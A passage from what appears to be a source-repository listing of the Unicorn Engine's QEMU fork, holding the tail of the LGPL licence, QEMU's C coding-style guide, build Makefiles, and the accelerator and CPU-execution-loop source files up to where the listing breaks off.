copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change. You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).
To apply these terms, attach the following notices to the library. It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.
<one line to give the library's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Also add information on how to contact you by electronic and paper mail.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
<signature of Ty Coon>, 1 April 1990
Ty Coon, President of Vice
That's all there is to it!

159
qemu/HACKING Normal file
View file

@ -0,0 +1,159 @@
1. Preprocessor
For variadic macros, stick with this C99-like syntax:
#define DPRINTF(fmt, ...) \
do { printf("IRQ: " fmt, ## __VA_ARGS__); } while (0)
2. C types
It should be common sense to use the right type, but we have collected
a few useful guidelines here.
2.1. Scalars
If you're using "int" or "long", odds are good that there's a better type.
If a variable is counting something, it should be declared with an
unsigned type.
If it's host memory-size related, size_t should be a good choice (use
ssize_t only if required). Guest RAM memory offsets must use ram_addr_t,
but only for RAM, it may not cover whole guest address space.
If it's file-size related, use off_t.
If it's file-offset related (i.e., signed), use off_t.
If it's just counting small numbers use "unsigned int";
(on all but oddball embedded systems, you can assume that that
type is at least four bytes wide).
In the event that you require a specific width, use a standard type
like int32_t, uint32_t, uint64_t, etc. The specific types are
mandatory for VMState fields.
Don't use Linux kernel internal types like u32, __u32 or __le32.
Use hwaddr for guest physical addresses except pcibus_t
for PCI addresses. In addition, ram_addr_t is a QEMU internal address
space that maps guest RAM physical addresses into an intermediate
address space that can map to host virtual address spaces. Generally
speaking, the size of guest memory can always fit into ram_addr_t but
it would not be correct to store an actual guest physical address in a
ram_addr_t.
For CPU virtual addresses there are several possible types.
vaddr is the best type to use to hold a CPU virtual address in
target-independent code. It is guaranteed to be large enough to hold a
virtual address for any target, and it does not change size from target
to target. It is always unsigned.
target_ulong is a type the size of a virtual address on the CPU; this means
it may be 32 or 64 bits depending on which target is being built. It should
therefore be used only in target-specific code, and in some
performance-critical built-per-target core code such as the TLB code.
There is also a signed version, target_long.
abi_ulong is for the *-user targets, and represents a type the size of
'void *' in that target's ABI. (This may not be the same as the size of a
full CPU virtual address in the case of target ABIs which use 32 bit pointers
on 64 bit CPUs, like sparc32plus.) Definitions of structures that must match
the target's ABI must use this type for anything that on the target is defined
to be an 'unsigned long' or a pointer type.
There is also a signed version, abi_long.
Of course, take all of the above with a grain of salt. If you're about
to use some system interface that requires a type like size_t, pid_t or
off_t, use matching types for any corresponding variables.
Also, if you try to use e.g., "unsigned int" as a type, and that
conflicts with the signedness of a related variable, sometimes
it's best just to use the *wrong* type, if "pulling the thread"
and fixing all related variables would be too invasive.
Finally, while using descriptive types is important, be careful not to
go overboard. If whatever you're doing causes warnings, or requires
casts, then reconsider or ask for help.
2.2. Pointers
Ensure that all of your pointers are "const-correct".
Unless a pointer is used to modify the pointed-to storage,
give it the "const" attribute. That way, the reader knows
up-front that this is a read-only pointer. Perhaps more
importantly, if we're diligent about this, when you see a non-const
pointer, you're guaranteed that it is used to modify the storage
it points to, or it is aliased to another pointer that is.
2.3. Typedefs
Typedefs are used to eliminate the redundant 'struct' keyword.
2.4. Reserved namespaces in C and POSIX
Underscore capital, double underscore, and underscore 't' suffixes should be
avoided.
3. Low level memory management
Use of the malloc/free/realloc/calloc/valloc/memalign/posix_memalign
APIs is not allowed in the QEMU codebase. Instead of these routines,
use the GLib memory allocation routines g_malloc/g_malloc0/g_new/
g_new0/g_realloc/g_free or QEMU's qemu_memalign/qemu_blockalign/qemu_vfree
APIs.
Please note that g_malloc will exit on allocation failure, so there
is no need to test for failure (as you would have to with malloc).
Calling g_malloc with a zero size is valid and will return NULL.
Memory allocated by qemu_memalign or qemu_blockalign must be freed with
qemu_vfree, since breaking this will cause problems on Win32.
4. String manipulation
Do not use the strncpy function. As mentioned in the man page, it does *not*
guarantee a NULL-terminated buffer, which makes it extremely dangerous to use.
It also zeros trailing destination bytes out to the specified length. Instead,
use this similar function when possible, but note its different signature:
void pstrcpy(char *dest, int dest_buf_size, const char *src)
Don't use strcat because it can't check for buffer overflows, but:
char *pstrcat(char *buf, int buf_size, const char *s)
The same limitation exists with sprintf and vsprintf, so use snprintf and
vsnprintf.
QEMU provides other useful string functions:
int strstart(const char *str, const char *val, const char **ptr)
int stristart(const char *str, const char *val, const char **ptr)
int qemu_strnlen(const char *s, int max_len)
There are also replacement character processing macros for isxyz and toxyz,
so instead of e.g. isalnum you should use qemu_isalnum.
Because of the memory management rules, you must use g_strdup/g_strndup
instead of plain strdup/strndup.
5. Printf-style functions
Whenever you add a new printf-style function, i.e., one with a format
string argument and following "..." in its prototype, be sure to use
gcc's printf attribute directive in the prototype.
This makes it so gcc's -Wformat and -Wformat-security options can do
their jobs and cross-check format strings with the number and types
of arguments.
6. C standard, implementation defined and undefined behaviors
C code in QEMU should be written to the C99 language specification. A copy
of the final version of the C99 standard with corrigenda TC1, TC2, and TC3
included, formatted as a draft, can be downloaded from:
http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1256.pdf
The C language specification defines regions of undefined behavior and
implementation defined behavior (to give compiler authors enough leeway to
produce better code). In general, code in QEMU should follow the language
specification and avoid both undefined and implementation defined
constructs. ("It works fine on the gcc I tested it with" is not a valid
argument...) However there are a few areas where we allow ourselves to
assume certain behaviors because in practice all the platforms we care about
behave in the same way and writing strictly conformant code would be
painful. These are:
* you may assume that integers are 2s complement representation
* you may assume that right shift of a signed integer duplicates
the sign bit (ie it is an arithmetic shift, not a logical shift)

21
qemu/LICENSE Normal file
View file

@ -0,0 +1,21 @@
The following points clarify the QEMU license:
1) QEMU as a whole is released under the GNU General Public License,
version 2.
2) Parts of QEMU have specific licenses which are compatible with the
GNU General Public License, version 2. Hence each source file contains
its own licensing information. Source files with no licensing information
are released under the GNU General Public License, version 2 or (at your
option) any later version.
As of July 2013, contributions under version 2 of the GNU General Public
License (and no later version) are only accepted for the following files
or directories: bsd-user/, linux-user/, hw/misc/vfio.c, hw/xen/xen_pt*.
3) The Tiny Code Generator (TCG) is released under the BSD license
(see license headers in files).
4) QEMU is a trademark of Fabrice Bellard.
Fabrice Bellard and the QEMU team

192
qemu/Makefile Normal file
View file

@ -0,0 +1,192 @@
# Makefile for QEMU - modified for Unicorn engine.
# Always point to the root of the build tree (needs GNU make).
BUILD_DIR=$(CURDIR)
# All following code might depend on configuration variables
ifneq ($(wildcard config-host.mak),)
# Put the all: rule here so that config-host.mak can contain dependencies.
all:
include config-host.mak
# Check that we're not trying to do an out-of-tree build from
# a tree that's been used for an in-tree build.
ifneq ($(realpath $(SRC_PATH)),$(realpath .))
ifneq ($(wildcard $(SRC_PATH)/config-host.mak),)
$(error This is an out of tree build but your source tree ($(SRC_PATH)) \
seems to have been used for an in-tree build. You can fix this by running \
"make distclean && rm -rf *-linux-user *-softmmu" in your source tree)
endif
endif
CONFIG_SOFTMMU := $(if $(filter %-softmmu,$(TARGET_DIRS)),y)
CONFIG_USER_ONLY := $(if $(filter %-user,$(TARGET_DIRS)),y)
CONFIG_ALL=y
-include config-all-devices.mak
-include config-all-disas.mak
include $(SRC_PATH)/rules.mak
config-host.mak: $(SRC_PATH)/configure
@echo $@ is out-of-date, running configure
@# TODO: The next lines include code which supports a smooth
@# transition from old configurations without config.status.
@# This code can be removed after QEMU 1.7.
@if test -x config.status; then \
./config.status; \
else \
sed -n "/.*Configured with/s/[^:]*: //p" $@ | sh; \
fi
else
config-host.mak:
ifneq ($(filter-out %clean,$(MAKECMDGOALS)),$(if $(MAKECMDGOALS),,fail))
@echo "Please call configure before running make!"
@exit 1
endif
endif
GENERATED_HEADERS = config-host.h
GENERATED_HEADERS += qapi-types.h qapi-visit.h
GENERATED_SOURCES += qapi-types.c qapi-visit.c
# Don't try to regenerate Makefile or configure
# We don't generate any of them
Makefile: ;
configure: ;
.PHONY: all clean cscope distclean install recurse-all
$(call set-vpath, $(SRC_PATH))
LIBS+=-lz $(LIBS_TOOLS)
SUBDIR_MAKEFLAGS=$(if $(V),,--no-print-directory) BUILD_DIR=$(BUILD_DIR)
SUBDIR_DEVICES_MAK=$(patsubst %, %/config-devices.mak, $(TARGET_DIRS))
SUBDIR_DEVICES_MAK_DEP=$(patsubst %, %-config-devices.mak.d, $(TARGET_DIRS))
ifeq ($(SUBDIR_DEVICES_MAK),)
config-all-devices.mak:
$(call quiet-command,echo '# no devices' > $@," GEN $@")
else
config-all-devices.mak: $(SUBDIR_DEVICES_MAK)
$(call quiet-command, sed -n \
's|^\([^=]*\)=\(.*\)$$|\1:=$$(findstring y,$$(\1)\2)|p' \
$(SUBDIR_DEVICES_MAK) | sort -u > $@, \
" GEN $@")
endif
-include $(SUBDIR_DEVICES_MAK_DEP)
%/config-devices.mak: default-configs/%.mak
$(call quiet-command,$(SHELL) $(SRC_PATH)/scripts/make_device_config.sh $@ $<, " GEN $@")
@if test -f $@; then \
if cmp -s $@.old $@; then \
mv $@.tmp $@; \
cp -p $@ $@.old; \
else \
if test -f $@.old; then \
echo "WARNING: $@ (user modified) out of date.";\
else \
echo "WARNING: $@ out of date.";\
fi; \
echo "Run \"make defconfig\" to regenerate."; \
rm $@.tmp; \
fi; \
else \
mv $@.tmp $@; \
cp -p $@ $@.old; \
fi
defconfig:
rm -f config-all-devices.mak $(SUBDIR_DEVICES_MAK)
ifneq ($(wildcard config-host.mak),)
include $(SRC_PATH)/Makefile.objs
endif
dummy := $(call unnest-vars,, \
util-obj-y \
block-obj-y \
block-obj-m \
common-obj-y \
common-obj-m)
all: $(TOOLS) $(HELPERS-y) recurse-all modules
config-host.h: config-host.h-timestamp
config-host.h-timestamp: config-host.mak
SUBDIR_RULES=$(patsubst %,subdir-%, $(TARGET_DIRS))
SOFTMMU_SUBDIR_RULES=$(filter %-softmmu,$(SUBDIR_RULES))
$(SOFTMMU_SUBDIR_RULES): $(block-obj-y)
$(SOFTMMU_SUBDIR_RULES): config-all-devices.mak
subdir-%:
$(call quiet-command,$(MAKE) $(SUBDIR_MAKEFLAGS) -C $* V="$(V)" TARGET_DIR="$*/" all,)
$(SUBDIR_RULES): qapi-types.c qapi-types.h qapi-visit.c qapi-visit.h $(common-obj-y) $(util-obj-y)
ALL_SUBDIRS=$(TARGET_DIRS)
recurse-all: $(SUBDIR_RULES)
######################################################################
# Build libraries
util/module.o-cflags = -D'CONFIG_BLOCK_MODULES=$(block-modules)'
######################################################################
gen-out-type = $(subst .,-,$(suffix $@))
qapi-py = $(SRC_PATH)/scripts/qapi.py $(SRC_PATH)/scripts/ordereddict.py
qapi-modules = $(SRC_PATH)/qapi-schema.json $(SRC_PATH)/qapi/common.json
qapi-types.c qapi-types.h :\
$(qapi-modules) $(SRC_PATH)/scripts/qapi-types.py $(qapi-py)
$(call quiet-command,$(PYTHON) $(SRC_PATH)/scripts/qapi-types.py \
$(gen-out-type) -o "." -b -i $<, \
" GEN $@")
qapi-visit.c qapi-visit.h :\
$(qapi-modules) $(SRC_PATH)/scripts/qapi-visit.py $(qapi-py)
$(call quiet-command,$(PYTHON) $(SRC_PATH)/scripts/qapi-visit.py \
$(gen-out-type) -o "." -b -i $<, \
" GEN $@")
clean:
# avoid old build problems by removing potentially incorrect old files
rm -f config.mak op-i386.h opc-i386.h gen-op-i386.h op-arm.h opc-arm.h gen-op-arm.h
find . \( -name '*.l[oa]' -o -name '*.so' -o -name '*.dll' -o -name '*.mo' -o -name '*.[oda]' \) -type f -exec rm {} +
rm -f $(filter-out %.tlb,$(TOOLS)) $(HELPERS-y) qemu-ga TAGS cscope.* *.pod *~ */*~
rm -rf .libs */.libs
@# May not be present in GENERATED_HEADERS
rm -f $(foreach f,$(GENERATED_HEADERS),$(f) $(f)-timestamp)
rm -f $(foreach f,$(GENERATED_SOURCES),$(f) $(f)-timestamp)
rm -rf qapi-generated
for d in $(ALL_SUBDIRS); do \
if test -d $$d; then $(MAKE) -C $$d $@ || exit 1; fi; \
done
distclean: clean
rm -f config-host.mak config-host.h* config-host.ld qemu-img-cmds.texi qemu-monitor.texi
rm -f config-all-devices.mak config-all-disas.mak
rm -f config.log
for d in $(TARGET_DIRS); do \
rm -rf $$d || exit 1 ; \
done
rm -Rf .sdk
cscope:
rm -f ./cscope.*
find "$(SRC_PATH)" -name "*.[chsS]" -print | sed 's,^\./,,' > ./cscope.files
cscope -b
# Add a dependency on the generated files, so that they are always
# rebuilt before other object files
ifneq ($(filter-out %clean,$(MAKECMDGOALS)),$(if $(MAKECMDGOALS),,fail))
Makefile: $(GENERATED_HEADERS)
endif

31
qemu/Makefile.objs Normal file
View file

@ -0,0 +1,31 @@
#######################################################################
# Common libraries for tools and emulators
util-obj-y = util/ qobject/ qapi/ qapi-types.o qapi-visit.o
#######################################################################
# block-obj-y is code used by both qemu system emulation and qemu-img
block-obj-y =
block-obj-y += ../uc.o ../hook.o
#block-obj-$(CONFIG_POSIX) += aio-posix.o
#block-obj-$(CONFIG_WIN32) += aio-win32.o
#######################################################################
# Target independent part of system emulation. The long term path is to
# suppress *all* target specific code in case of system emulation, i.e. a
# single QEMU executable should support all CPUs and machines.
ifeq ($(CONFIG_SOFTMMU),y)
common-obj-y += hw/
common-obj-y += accel.o
common-obj-y += vl.o main-loop.o qemu-timer.o
endif
#######################################################################
# Target-independent parts used in system and user emulation
common-obj-y += qemu-log.o
common-obj-y += tcg-runtime.o
common-obj-y += hw/
common-obj-y += qom/

119
qemu/Makefile.target Normal file
View file

@ -0,0 +1,119 @@
# -*- Mode: makefile -*-
include ../config-host.mak
include config-target.mak
include config-devices.mak
include $(SRC_PATH)/rules.mak
$(call set-vpath, $(SRC_PATH))
QEMU_CFLAGS += -I.. -I$(SRC_PATH)/target-$(TARGET_BASE_ARCH) -DNEED_CPU_H
QEMU_CFLAGS+=-I$(SRC_PATH)/include
ifdef CONFIG_USER_ONLY
# user emulator name
QEMU_PROG=qemu-$(TARGET_NAME)
QEMU_PROG_BUILD = $(QEMU_PROG)
else
# system emulator name
QEMU_PROG=qemu-system-$(TARGET_NAME)$(EXESUF)
ifneq (,$(findstring -mwindows,$(libs_softmmu)))
# Terminate program name with a 'w' because the linker builds a windows executable.
QEMU_PROGW=qemu-system-$(TARGET_NAME)w$(EXESUF)
$(QEMU_PROG): $(QEMU_PROGW)
$(call quiet-command,$(OBJCOPY) --subsystem console $(QEMU_PROGW) $(QEMU_PROG)," GEN $(TARGET_DIR)$(QEMU_PROG)")
QEMU_PROG_BUILD = $(QEMU_PROGW)
else
QEMU_PROG_BUILD = $(QEMU_PROG)
endif
endif
PROGS=$(QEMU_PROG) $(QEMU_PROGW)
config-target.h: config-target.h-timestamp
config-target.h-timestamp: config-target.mak
all: $(PROGS)
# Dummy command so that make thinks it has done something
@true
#########################################################
# cpu emulator library
obj-y = exec.o translate-all.o cpu-exec.o
obj-y += tcg/tcg.o tcg/optimize.o
obj-y += fpu/softfloat.o
obj-y += target-$(TARGET_BASE_ARCH)/
#########################################################
# System emulator target
ifdef CONFIG_SOFTMMU
obj-y += cpus.o ioport.o
obj-y += hw/
obj-y += memory.o cputlb.o
obj-y += memory_mapping.o
LIBS+=$(libs_softmmu)
# Hardware support
ifeq ($(TARGET_NAME), sparc64)
obj-y += hw/sparc64/
else
obj-y += hw/$(TARGET_BASE_ARCH)/
endif
endif # CONFIG_SOFTMMU
# Workaround for http://gcc.gnu.org/PR55489, see configure.
%/translate.o: QEMU_CFLAGS += $(TRANSLATE_OPT_CFLAGS)
dummy := $(call unnest-vars,,obj-y)
all-obj-y := $(obj-y)
block-obj-y :=
common-obj-y :=
include $(SRC_PATH)/Makefile.objs
dummy := $(call unnest-vars,..,util-obj-y)
target-obj-y-save := $(target-obj-y) $(util-obj-y)
dummy := $(call unnest-vars,.., \
block-obj-y \
block-obj-m)
dummy := $(call unnest-vars,..,common-obj-y,common-obj-m)
target-obj-y := $(target-obj-y-save)
all-obj-y += $(common-obj-y)
all-obj-y += $(target-obj-y)
all-obj-$(CONFIG_SOFTMMU) += $(block-obj-y)
# determine shared lib extension
IS_APPLE := $(shell $(CC) -dM -E - < /dev/null | grep __apple_build_version__ | wc -l | tr -d " ")
ifeq ($(IS_APPLE),1)
EXT = dylib
else
# Cygwin?
IS_CYGWIN := $(shell $(CC) -dumpmachine | grep -i cygwin | wc -l)
ifeq ($(IS_CYGWIN),1)
EXT = dll
else
EXT = so
endif
endif
# build either PROG or PROGW
$(QEMU_PROG_BUILD): $(all-obj-y)
clean:
rm -f *.a *~ $(PROGS)
rm -f $(shell find . -name '*.[od]')
install: all
ifneq ($(PROGS),)
$(call install-prog,$(PROGS),$(DESTDIR)$(bindir))
endif
GENERATED_HEADERS += config-target.h
Makefile: $(GENERATED_HEADERS)

1
qemu/VERSION Normal file
View file

@ -0,0 +1 @@
2.2.1

3168
qemu/aarch64.h Normal file

File diff suppressed because it is too large Load diff

123
qemu/accel.c Normal file
View file

@ -0,0 +1,123 @@
/*
* QEMU System Emulator, accelerator interfaces
*
* Copyright (c) 2003-2008 Fabrice Bellard
* Copyright (c) 2014 Red Hat Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */
#include "sysemu/accel.h"
#include "hw/boards.h"
#include "qemu-common.h"
#include "sysemu/sysemu.h"
#include "qom/object.h"
#include "hw/boards.h"
// use default size for TCG translated block
#define TCG_TB_SIZE 0
static bool tcg_allowed = true;
static int tcg_init(MachineState *ms);
static AccelClass *accel_find(struct uc_struct *uc, const char *opt_name);
static int accel_init_machine(AccelClass *acc, MachineState *ms);
static void tcg_accel_class_init(struct uc_struct *uc, ObjectClass *oc, void *data);
static int tcg_init(MachineState *ms)
{
ms->uc->tcg_exec_init(ms->uc, TCG_TB_SIZE * 1024 * 1024); // arch-dependent
return 0;
}
static const TypeInfo accel_type = {
.name = TYPE_ACCEL,
.parent = TYPE_OBJECT,
.class_size = sizeof(AccelClass),
.instance_size = sizeof(AccelState),
};
#define TYPE_TCG_ACCEL ACCEL_CLASS_NAME("tcg")
static const TypeInfo tcg_accel_type = {
.name = TYPE_TCG_ACCEL,
.parent = TYPE_ACCEL,
.class_init = tcg_accel_class_init,
};
int configure_accelerator(MachineState *ms)
{
int ret;
bool accel_initialised = false;
AccelClass *acc;
acc = accel_find(ms->uc, "tcg");
ret = accel_init_machine(acc, ms);
if (ret < 0) {
fprintf(stderr, "failed to initialize %s: %s\n",
acc->name,
strerror(-ret));
} else {
accel_initialised = true;
}
return !accel_initialised;
}
void register_accel_types(struct uc_struct *uc)
{
type_register_static(uc, &accel_type);
type_register_static(uc, &tcg_accel_type);
}
static void tcg_accel_class_init(struct uc_struct *uc, ObjectClass *oc, void *data)
{
AccelClass *ac = ACCEL_CLASS(uc, oc);
ac->name = "tcg";
ac->init_machine = tcg_init;
ac->allowed = &tcg_allowed;
}
/* Lookup AccelClass from opt_name. Returns NULL if not found */
static AccelClass *accel_find(struct uc_struct *uc, const char *opt_name)
{
char *class_name = g_strdup_printf(ACCEL_CLASS_NAME("%s"), opt_name);
AccelClass *ac = ACCEL_CLASS(uc, object_class_by_name(uc, class_name));
g_free(class_name);
return ac;
}
static int accel_init_machine(AccelClass *acc, MachineState *ms)
{
ObjectClass *oc = OBJECT_CLASS(acc);
const char *cname = object_class_get_name(oc);
AccelState *accel = ACCEL(ms->uc, object_new(ms->uc, cname));
int ret;
ms->accelerator = accel;
*(acc->allowed) = true;
ret = acc->init_machine(ms);
if (ret < 0) {
ms->accelerator = NULL;
*(acc->allowed) = false;
object_unref(ms->uc, OBJECT(accel));
}
return ret;
}

3168
qemu/arm.h Normal file

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1 @@
# Automatically generated by configure - do not modify

1938
qemu/configure vendored Executable file

File diff suppressed because it is too large Load diff

416
qemu/cpu-exec.c Normal file
View file

@ -0,0 +1,416 @@
/*
* emulator main execution loop
*
* Copyright (c) 2003-2005 Fabrice Bellard
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, see <http://www.gnu.org/licenses/>.
*/
/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */
#include "tcg.h"
#include "sysemu/sysemu.h"
#include "uc_priv.h"
static tcg_target_ulong cpu_tb_exec(CPUState *cpu, uint8_t *tb_ptr);
static TranslationBlock *tb_find_slow(CPUArchState *env, target_ulong pc,
target_ulong cs_base, uint64_t flags);
static TranslationBlock *tb_find_fast(CPUArchState *env);
static void cpu_handle_debug_exception(CPUArchState *env);
void cpu_loop_exit(CPUState *cpu)
{
cpu->current_tb = NULL;
siglongjmp(cpu->jmp_env, 1);
}
/* exit the current TB from a signal handler. The host registers are
restored in a state compatible with the CPU emulator
*/
#if defined(CONFIG_SOFTMMU)
void cpu_resume_from_signal(CPUState *cpu, void *puc)
{
#endif
/* XXX: restore cpu registers saved in host registers */
cpu->exception_index = -1;
siglongjmp(cpu->jmp_env, 1);
}
/* main execution loop */
int cpu_exec(struct uc_struct *uc, CPUArchState *env) // qq
{
CPUState *cpu = ENV_GET_CPU(env);
TCGContext *tcg_ctx = env->uc->tcg_ctx;
CPUClass *cc = CPU_GET_CLASS(uc, cpu);
#ifdef TARGET_I386
X86CPU *x86_cpu = X86_CPU(uc, cpu);
#endif
int ret, interrupt_request;
TranslationBlock *tb;
uint8_t *tc_ptr;
uintptr_t next_tb;
/* This must be volatile so it is not trashed by longjmp() */
volatile bool have_tb_lock = false;
if (cpu->halted) {
if (!cpu_has_work(cpu)) {
return EXCP_HALTED;
}
cpu->halted = 0;
}
uc->current_cpu = cpu;
/* As long as current_cpu is null, up to the assignment just above,
* requests by other threads to exit the execution loop are expected to
* be issued using the exit_request global. We must make sure that our
* evaluation of the global value is performed past the current_cpu
* value transition point, which requires a memory barrier as well as
* an instruction scheduling constraint on modern architectures. */
smp_mb();
if (unlikely(uc->exit_request)) {
cpu->exit_request = 1;
}
cc->cpu_exec_enter(cpu);
